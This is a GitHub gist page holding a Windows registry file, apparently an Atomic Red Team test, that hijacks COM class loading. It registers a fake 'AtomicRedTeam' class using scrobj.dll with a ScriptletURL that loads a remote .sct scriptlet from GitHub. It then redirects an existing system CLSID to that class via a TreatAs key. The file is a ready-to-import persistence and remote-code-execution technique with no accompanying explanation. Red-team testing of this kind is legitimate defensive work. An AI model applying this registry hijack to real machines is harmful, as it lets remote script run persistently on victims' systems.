Skip to content

Instantly share code, notes, and snippets.

@P4l1ndr0m

P4l1ndr0m/winlogon.reg

Forked from anonymous/winlogon.reg
Created February 12, 2018 12:29
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save P4l1ndr0m/e79cafe6a21bab3d06c038e42a72b39a to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save P4l1ndr0m/e79cafe6a21bab3d06c038e42a72b39a to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @invalid-email-address Anonymous created this gist Feb 11, 2018.
    23 changes: 23 additions & 0 deletions winlogon.reg
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    Windows Registry Editor Version 5.00
    [HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
    @="AtomicRedTeam"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
    @="{00000001-0000-0000-0000-0000FEEDACDC}"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
    @="AtomicRedTeam"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
    @="{00000001-0000-0000-0000-0000FEEDACDC}"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
    @="AtomicRedTeam"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
    @="C:\\WINDOWS\\system32\\scrobj.dll"
    "ThreadingModel"="Apartment"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
    @="AtomicRedTeam.1.00"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
    @="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/COMHijackScripts/AtomicRedTeam.sct"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
    @="AtomicRedTeam"
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}]
    [HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}\TreatAs]
    @="{00000001-0000-0000-0000-0000FEEDACDC}"